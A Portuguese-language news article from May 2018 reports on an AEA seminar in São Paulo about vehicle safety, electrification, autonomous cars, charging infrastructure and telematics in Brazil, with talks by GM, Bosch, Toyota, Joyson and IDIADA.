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AEA debate segurança e viabilização de veículos eletrificados no País

22 de maio de 2018
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As grandes transformações na indústria automotiva e os principais desafios das áreas de mobilidade segura e eletrônica embarcada foram debatidas durante o Seminário de Segurança Veicular e Eletroeletrônica – “O Brasil em 2030: o que esperar da segurança e eletroeletrônica em veículos automotores”, promovido pela AEA – Associação Brasileira de Engenharia Automotiva, no último dia 17, em São Paulo (SP).

Dentro do contexto, a eletrificação no Brasil entra como tendência obrigatória para a evolução de toda a cadeia da indústria e cumprimento das metas de emissões. “O evento da AEA chega mais uma vez em momento ímpar, às vésperas do início da nova política industrial do setor automotivo, o Programa Rota 2030 – Mobilidade e Logística, que também contempla metas importantes de cumprimento tanto em segurança veicular como em conectividade veicular”, disse o presidente da entidade Edson Orikassa.

Na visão da montadora General Motors, a indústria vai mudar mais nos próximos 5 anos do que nos últimos 50 anos. Em palestra “Veículos Elétricos”, Regis Errerias, engenheiro de produto da GM, discorreu sobre os desafios do desenvolvimento da indústria quando o assunto é eletrificação baseado no projeto do veículo elétrico Bolt EV, tais como soluções para redução de peso, segurança, baterias de alta voltagem, conforto, economia nas operações, entre outros.

Soluções de infraestrutura de recarga para veículos elétricos e híbridos Plug In, incluindo carregadores residenciais, comerciais e públicos foram apresentados por Eduardo José de Souza, diretor da Electric Mobility. Na palestra seguinte, “Veículos Autônomos, qual rota o Brasil quer seguir?”, Bruno Mori, gerente de Produto da Robert Bosch, exibiu um estudo realizado pela RAND, uma organização de pesquisa americana voltada para políticas públicas. De acordo com Mori, “o carro autônomo se introduzido em 2030, segundo a RAND, irá poupar 930 mil vidas em 50 anos. Estima-se também que 30 anos depois da introdução destes carros, 80% da frota seja composta de veículos autônomos”.

“Trinta e um porcento das vítimas fatais de acidentes de trânsito na Alemanha em 2016 foram envolvidas em acidentes de colisão lateral”, informou Oliver Schulze, diretor de Engenharia da Joyson Safety Systems. As tecnologias que foram inseridas pela indústria para minimizar os impactos laterais durante as colisões, como barras de proteção, reforços na estrutura e absorvedores de energia nas portas, além dos airbags laterais e de cortina foram assertivos em termos de eficiência, com estudos comprovados que apontam redução no índice de fatalidade em impactos laterais.

Como evolução do processo, Schulze exibiu uma tecnologia para proteção lateral denominada emfar side airbag/em, capaz de evitar o impacto entre os passageiros do banco da frente em caso de colisão lateral. Após a conclusão das quatro apresentações ministradas pela manhã, a entidade promoveu amplo debate entre os palestrantes e o público presente, ministrada pelo jornalista e diretor da Agência AutoInforme, Joel Leite.

strongParte II /strong- Enquanto a China conta com 141.254 pontos de recarga dedicados à indústria automotiva e os EUA um total de 40.473, no Brasil esse número não passa dos 200. Segundo o gerente de Negócios da Baterias Moura, Juliano Mendes, em apresentação “Situação da Eletromobilidade no Brasil e no Mundo”, o caminho para a Eletromobilidade no Brasil requer iniciativas federais, como a eletrificação de frotas públicas, redução de impostos, criação de fundos para Pamp;D voltados à eletromobilidade, além do desenvolvimento e atualização do Plano Nacional de Eletromobilidade, lançado em 2017.

“A ficha de resgate veicular é uma prática mundial que informa as autoridades de resgate sobre a configuração do veículo na necessidade de corte da estrutura”, informou Bruno Leal, da Toyota, durante apresentação do tema “Segurança em Veículos Híbridos e Elétricos”. De acordo com ele, neste documento são informados linhas de combustível, airbags, reforços e outros. “Para os veículos eletrificados é fundamental informações sobre os componentes energizados de alta tensão”, disse.

A Applus IDIADA é um parceiro de engenharia para a indústria automotiva que fornece soluções completas para projetos de desenvolvimento de produtos em todo o mundo, com instalações de teste de última geração e presença internacional em 23 países com 46 escritórios locais. Esteve presente no evento da AEA, a gerente de Projeto da IDIADA, Laura Sanz, responsável pela palestra “Evolution of active safety in Euro NCAP”.

O gerente de Engenharia de Infotainment e Telemática da General Motors, Luiz G. Moraes, marcou presença com sua apresentação “Vehicle Connectivity and Telematics”. Na ocasião, exibiu o projeto da montadora OnStar, apoiado em seis pilares: emergência (mais reconhecido e valorizado pelo usuário), segurança – serviços relacionados a proteção do patrimônio, concierge, navegação, aplicativos e web e o diagnóstico. Esta edição foi encerrada após amplo debate entre os palestrantes o público presente.

A segunda parte do seminário contou também com a sessão debates, conduzida pelo jornalista Josias Silveira.

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Juliana Sih

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